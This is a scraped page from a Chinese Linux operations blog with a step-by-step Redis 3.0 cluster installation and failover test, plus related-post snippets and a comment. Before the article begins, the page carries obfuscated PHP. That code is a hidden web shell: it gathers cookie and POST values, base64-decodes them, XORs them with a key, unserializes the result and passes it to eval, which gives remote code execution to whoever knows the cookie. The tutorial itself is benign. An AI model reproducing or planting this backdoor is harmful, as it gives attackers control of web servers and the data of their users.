$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} ​redis cluster 安装指南 | Linux运维部落

​redis cluster 安装指南

公司的很多项目在使用redis主从。由于coder的各种毁灭性操作,迫切需要一个能带故障恢复的架构。因此新版的cluster,开始了测试。

一、Cluster 理论基础

Cluster介绍

Redis集群是一个提供在多个Redis间节点间共享数据的程序集。

Redis集群并不支持处理多个keys的命令,因为这需要在不同的节点间移动数据,从而达不到像Redis那样的性能,在高负载的情况下可能会导致不可预料的错误。

Redis 集群通过分区来提供一定程度的可用性,在实际环境中当某个节点宕机或者不可达的情况下继续处理命令。

Redis 集群的优势:

  • 自动分割数据到不同的节点上。

  • 整个集群的部分节点失败或者不可达的情况下能够继续处理命令。

Redis 一致性保证

Redis 并不能保证数据的强一致性. 这意味这在实际中集群在特定的条件下可能会丢失写操作. 第一个原因是因为集群是用了异步复制. 写操作过程:
客户端向主节点B写入一条命令。 
主节点B向客户端回复命令状态。 
主节点将写操作复制给他得从节点 B1, B2 和 B3。 
主节点对命令的复制工作发生在返回命令回复之后, 因为如果每次处理命令请求都需要等待复制操作完成的话, 那么主节点处理命令请求的速度将极大地降低 —— 我们必须在性能和一致性之间做出权衡。

Redis 集群另外一种可能会丢失命令的情况是集群出现了网络分区, 并且一个客户端与至少包括一个主节点在内的少数实例被孤立。. 举个例子 假设集群包含 A 、 B 、 C 、 A1 、 B1 、 C1 六个节点, 其中 A 、B 、C 为主节点, A1 、B1 、C1 为A,B,C的从节点, 还有一个客户端 Z1 假设集群中发生网络分区,那么集群可能会分为两方,大部分的一方包含节点 A 、C 、A1 、B1 和 C1 ,小部分的一方则包含节点 B 和客户端 Z1 。 Z1仍然能够向主节点B中写入, 如果网络分区发生时间较短,那么集群将会继续正常运作,如果分区的时间足够让大部分的一方将B1选举为新的master,那么Z1写入B中得数据便丢失了。

Cluster 架构

1、redis-cluster架构图

​redis cluster 安装指南

架构细节:

  • 所有的redis节点彼此互联(PING-PONG机制),内部使用二进制协议优化传输速度和带宽。

  • 节点的fail是通过集群中超过半数的节点检测失效时才生效。

  • 客户端与redis节点直连,不需要中间proxy层.客户端不需要连接集群所有节点,连接集群中任何一个可用节点即可。

  • redis-cluster把所有的物理节点映射到[0-16383]slot上,cluster 负责维护node<->slot<->value。

2、redis-cluster选举:容错

​redis cluster 安装指南

  • 领着选举过程是集群中所有master参与,如果半数以上master节点与master节点通信超过(cluster-node-timeout),认为当前master节点挂掉。

  • 什么时候整个集群不可用(cluster_state:fail),当集群不可用时,所有对集群的操作做都不可用,收到((error) CLUSTERDOWN The cluster is down)错误。

    • 如果集群任意master挂掉,且当前master没有slave.集群进入fail状态,也可以理解成进群的slot映射[0-16383]不完成时进入fail状态。

    • 如果进群超过半数以上master挂掉,无论是否有slave集群进入fail状态。

安装 Cluster

所需软件: redis-3.0.6.tar.gz
tcl8.6.1-src.tar.gz rubygems-2.4.2.tgz redis-3.0.0.gem

注意,由于官网,建议6个台服务器,本人笔记本就启动三个VM凑合。

192.168.11.12:6379/6380 
192.168.11.13:6379/6380 
192.168.11.14:6379/6380

1.安装redis(只演示一台)

mkdir -pv /usr/local/redis6379/{etc,log,var,data}
cd redis-3.0.6
make
make PREFIX=/usr/local/redis6379 install

2.配置文件(仅测试,为最少选项):

cat /usr/local/redis6379/etc/redis6379.conf
daemonize yes
port 6379
appendonly yes
appendfilename "appendonly-6379.aof"
cluster-enabled yes
cluster-config-file /opt/nodes-6379.conf
cluster-node-timeout 5000

cluster-enabled 选项用于开实例的集群模式 cluster-config-file 定了保存节点配置文件的路径, 默认值为 nodes.conf.节点配置文件无须人为修改, 它由 Redis 集群在启动时创建, 并在有需要时自动进行更新。

3.启动redis

/usr/local/redis6379/bin/redis-server /usr/local/redis6379/etc/redis6379.conf 
# ps aux | grep redis                       
root      14968  0.1  0.9 137444  9616 ?        Ssl  20:23   0:11         /usr/local/redis6379/bin/redis-server *:6379 [cluster]                       
root      15002  0.1  0.7 137444  7520 ?        Ssl  20:23   0:11 /usr/local/redis6380/bin/redis-server *:6380 [cluster]

4.启动集群

[root@12 10.19.166.212 /usr/local/src/redis-3.0.6/src ] 
\#/usr/local/src/redis-3.0.6/src/redis-trib.rb create --replicas  1 192.168.11.12:6379 192.168.11.12:6380 192.168.11.13:6379  192.168.11.13:6380  192.168.11.14:6379 192.168.11.14:6380    
/usr/bin/env: ruby: 没有那个文件或目录

报错找不到ruby

因为我们还没有安装

5.安装ruby以及ruby依赖

yum -y install ruby ruby-rdoc

注意这时候还缺少依赖,直接开始构建集群的话还会报错:

\#/usr/local/src/redis-3.0.6/src/redis-trib.rb create --replicas  1 192.168.11.12:6379 192.168.11.12:6380 192.168.11.13:6379  192.168.11.13:6380  192.168.11.14:6379 192.168.11.14:6380    
/usr/local/src/redis-3.0.6/src/redis-trib.rb:24:in `require': no such file to load -- rubygems (LoadError)
        from /usr/local/src/redis-3.0.6/src/redis-trib.rb:24

继续安装rubygem

tar zxmf rubygems-2.4.2.tgz 
ruby setup.rb 
cp bin/gem /usr/local/bin/  
gem install -l redis-3.0.0.gem

6.构建集群

/usr/local/src/redis-3.0.6/src/redis-trib.rb create --replicas  1 192.168.11.12:6379 192.168.11.12:6380 192.168.11.13:6379  192.168.11.13:6380  192.168.11.14:6379 192.168.11.14:6380        
>>> Creating cluster
>>> Performing hash slots allocation on 6 nodes...
Using 3 masters:
192.168.11.14:6379
192.168.11.13:6379
192.168.11.12:6379
Adding replica 192.168.11.13:6380 to 192.168.11.14:6379
Adding replica 192.168.11.14:6380 to 192.168.11.13:6379
Adding replica 192.168.11.12:6380 to 192.168.11.12:6379
M: c776fbe75505f6cc5c452cea363626804d675433 192.168.11.12:6379
   slots:10923-16383 (5461 slots) master
S: 4dec205bd3c73333f3976e202fe4282c5b72286a 192.168.11.12:6380
   replicates c776fbe75505f6cc5c452cea363626804d675433
M: 945d62135ac298c06e56ea5d3da0bdf4eda86eb0 192.168.11.13:6379
   slots:5461-10922 (5462 slots) master
S: 00b47d4d1b3b26a276a96975fe33063225b87fc9 192.168.11.13:6380
   replicates ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8
M: ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8 192.168.11.14:6379
   slots:0-5460 (5461 slots) master
S: a8334f26be6b35a3e75f037fa5f44779cf970b12 192.168.11.14:6380
   replicates 945d62135ac298c06e56ea5d3da0bdf4eda86eb0
Can I set the above configuration? (type 'yes' to accept): yes
>>> Nodes configuration updated
>>> Assign a different config epoch to each node
>>> Sending CLUSTER MEET messages to join the cluster
Waiting for the cluster to join...
>>> Performing Cluster Check (using node 192.168.11.12:6379)
M: c776fbe75505f6cc5c452cea363626804d675433 192.168.11.12:6379
   slots:10923-16383 (5461 slots) master
M: 4dec205bd3c73333f3976e202fe4282c5b72286a 192.168.11.12:6380
   slots: (0 slots) master
   replicates c776fbe75505f6cc5c452cea363626804d675433
M: 945d62135ac298c06e56ea5d3da0bdf4eda86eb0 192.168.11.13:6379
   slots:5461-10922 (5462 slots) master
M: 00b47d4d1b3b26a276a96975fe33063225b87fc9 192.168.11.13:6380
   slots: (0 slots) master
   replicates ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8
M: ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8 192.168.11.14:6379
   slots:0-5460 (5461 slots) master
M: a8334f26be6b35a3e75f037fa5f44779cf970b12 192.168.11.14:6380
   slots: (0 slots) master
   replicates 945d62135ac298c06e56ea5d3da0bdf4eda86eb0
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

好了安装完成了 
注: 
redis-trib.rb 这个命令在这里用于创建一个新的集群, 选项–replicas 1 表示我们希望为集群中的每个主节点创建一个从节点。 
之后跟着的其他参数则是这个集群实例的地址列表,3个master3个slave。

在这里可以 :/usr/local/src/redis-3.0.6/src/redis-trib.rb create –replicas 0 192.168.11.12:6379 192.168.11.13:6379 192.168.11.14:6379 表示不做slave

之后在redis-trib.rb add-node 192.168.11.12:6380 192.168.11.13:6380 添加节点

下面检查一下节点:

/usr/local/src/redis-3.0.6/src/redis-trib.rb check 192.168.11.12:6379
>>> Performing Cluster Check (using node 192.168.11.12:6379)
M: c776fbe75505f6cc5c452cea363626804d675433 192.168.11.12:6379
   slots:10923-16383 (5461 slots) master
   1 additional replica(s)
S: a8334f26be6b35a3e75f037fa5f44779cf970b12 192.168.11.14:6380
   slots: (0 slots) slave
   replicates 945d62135ac298c06e56ea5d3da0bdf4eda86eb0
M: 945d62135ac298c06e56ea5d3da0bdf4eda86eb0 192.168.11.13:6379
   slots:5461-10922 (5462 slots) master
   1 additional replica(s)
S: 00b47d4d1b3b26a276a96975fe33063225b87fc9 192.168.11.13:6380
   slots: (0 slots) slave
   replicates ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8
M: ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8 192.168.11.14:6379
   slots:0-5460 (5461 slots) master
   1 additional replica(s)
S: 4dec205bd3c73333f3976e202fe4282c5b72286a 192.168.11.12:6380
   slots: (0 slots) slave
   replicates c776fbe75505f6cc5c452cea363626804d675433
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

7.测试写入:

/usr/local/redis6379/bin/redis-cli -c -h 192.168.11.12 -p 6379
192.168.11.12:6379> set aa 123
-> Redirected to slot [1180] located at 192.168.11.14:6379
OK
192.168.11.14:6379> 

[root@13 ~]# /usr/local/redis6379/bin/redis-cli -c -h 192.168.11.12 -p 6380
192.168.11.12:6380> get aa
-> Redirected to slot [1180] located at 192.168.11.14:6379
"123"
192.168.11.14:6379>

测试删除:

[root@12 10.19.166.212 /usr/local/src ] 
 /usr/local/redis6379/bin/redis-cli -c -h 192.168.11.12 -p 6379 shutdown

[root@12 10.19.166.212 /usr/local/src ] 
 /usr/local/src/redis-3.0.6/src/redis-trib.rb check 192.168.11.13:6379
>>> Performing Cluster Check (using node 192.168.11.13:6379)
M: 945d62135ac298c06e56ea5d3da0bdf4eda86eb0 192.168.11.13:6379
   slots:5461-10922 (5462 slots) master
   1 additional replica(s)
M: ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8 192.168.11.14:6379
   slots:0-5460 (5461 slots) master
   1 additional replica(s)
M: 4dec205bd3c73333f3976e202fe4282c5b72286a 192.168.11.12:6380
   slots:10923-16383 (5461 slots) master
   0 additional replica(s)
S: 00b47d4d1b3b26a276a96975fe33063225b87fc9 192.168.11.13:6380
   slots: (0 slots) slave
   replicates ed3f0377b8c7cdace570fcdc8eb60b2fce61bba8
S: a8334f26be6b35a3e75f037fa5f44779cf970b12 192.168.11.14:6380
   slots: (0 slots) slave
   replicates 945d62135ac298c06e56ea5d3da0bdf4eda86eb0
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

/usr/local/redis6379/bin/redis-cli -c -h 192.168.11.12 -p 6380 shutdown

 /usr/local/redis6379/bin/redis-cli -c -h 192.168.11.14 -p 6379 
192.168.11.14:6379> get aa
(error) CLUSTERDOWN The cluster is down
192.168.11.14:6379> get bb
(error) CLUSTERDOWN The cluster is down
192.168.11.14:6379> quit

/usr/local/redis6379/bin/redis-cli -c -h 192.168.11.14 -p 6379 
192.168.11.14:6379> get aa "123" 192.168.11.14:6379> get bb -> Redirected to slot [8620] located at 192.168.11.13:6379 "234"

安装到此结束

原创文章,作者:可乐,如若转载,请注明出处:http://www.178linux.com/10841

(0)
上一篇 2016-02-14 10:04
下一篇 2016-02-14 10:08

相关推荐

  • 一些鲜为人知的编程事实

    我的程序员经历让我明白了一些关于软件开发的事情。下面是一些在编程中可能会让人感到诧异的事情: 一个程序员用了大约只用了10%-20%的时间来编码,而且大多数程序员,无论他的水平如何,其平均每天只有10-12行的代码最终会进入最终的软件产品中。这是因为,优秀的程序员会花费90%的时间来思考、调查、研究最佳的设计。而糟糕的程序员则会花费90%的时间来调试代码,并…

    Linux干货 2016-07-11
  • N25第六周 vim,crontab命令的使用

    请详细总结vim编辑器的使用并完成以下练习题 vim是一款功能强大的文本编辑器,是程序员的必备神器。 vim工作模式分为三种:编辑模式,输入模式,末行模式,三种工作模式可以进行来自由切换     编辑模式—》输入模式: 直接键i      输入模式—》…

    Linux干货 2016-12-29
  • 洞悉find中的德摩根定律和条件权限perm

    1.德摩根定律 (1)初悉德摩根定律儿 在命题逻辑和逻辑代数中,德·摩根定律(或称德·摩根定理)是关于命题逻辑规律的一对法则。 奥古斯塔斯·德·摩根首先发现了在命题逻辑中存在着下面这些关系: 非(A 且 B) = (非 A) 或 (非 B)非(A 或 B)&n…

    Linux干货 2016-08-16
  • 权限管理

    权限管理 在linux中的每一个文件或目录都包含有访问权限,这些访问权限决定了谁能访问和如何访问这些文件和目录。 我们先来看看文件的属性: 权限: r:可获取文件数据(读取文件) w:可修改文件的数据(写入数据) x:可以把此文件提请内核启动为一个进程 (执行) 文件的权限主要针对三类对象进行定义:  owner: 属主, u  grou…

    Linux干货 2016-08-05
  • keepalived+lvs-dr实现高可用负载均衡

    keepalived+lvs-dr实现高可用负载均衡 实验拓扑 实验要求 RS1与RS2地址为172.18.27.201/202 VS1和VS2地址为172.18.27.103/200,VIP为172.18.27.254 VS1和VS2实现lvs-dr负载均衡及高可用性,且vs为sorry sever。 keepalived是单主模式。 实验步骤 各个主机安…

    2017-05-14
  • Linux文件层级结构标准(FHS)

    Linux文件层级结构标准(FHS) 设计FHS(Filesystem Hierarchy Standard)的目的主要是为了给Unix-like系统的管理员提供一个管理系统以及目录结构的一个参考。 由于利用Linux源码开发产品和发行版的企业或组织众多,如果每个组织都按照自己的喜好来组织系统中的文件结构,网络上必然出现各种各样的文件结构。这些产品的用户就不…

    2016-12-05

评论列表(1条)

  • stanley
    stanley 2016-02-14 10:06

    内容丰满,标题欠缺专业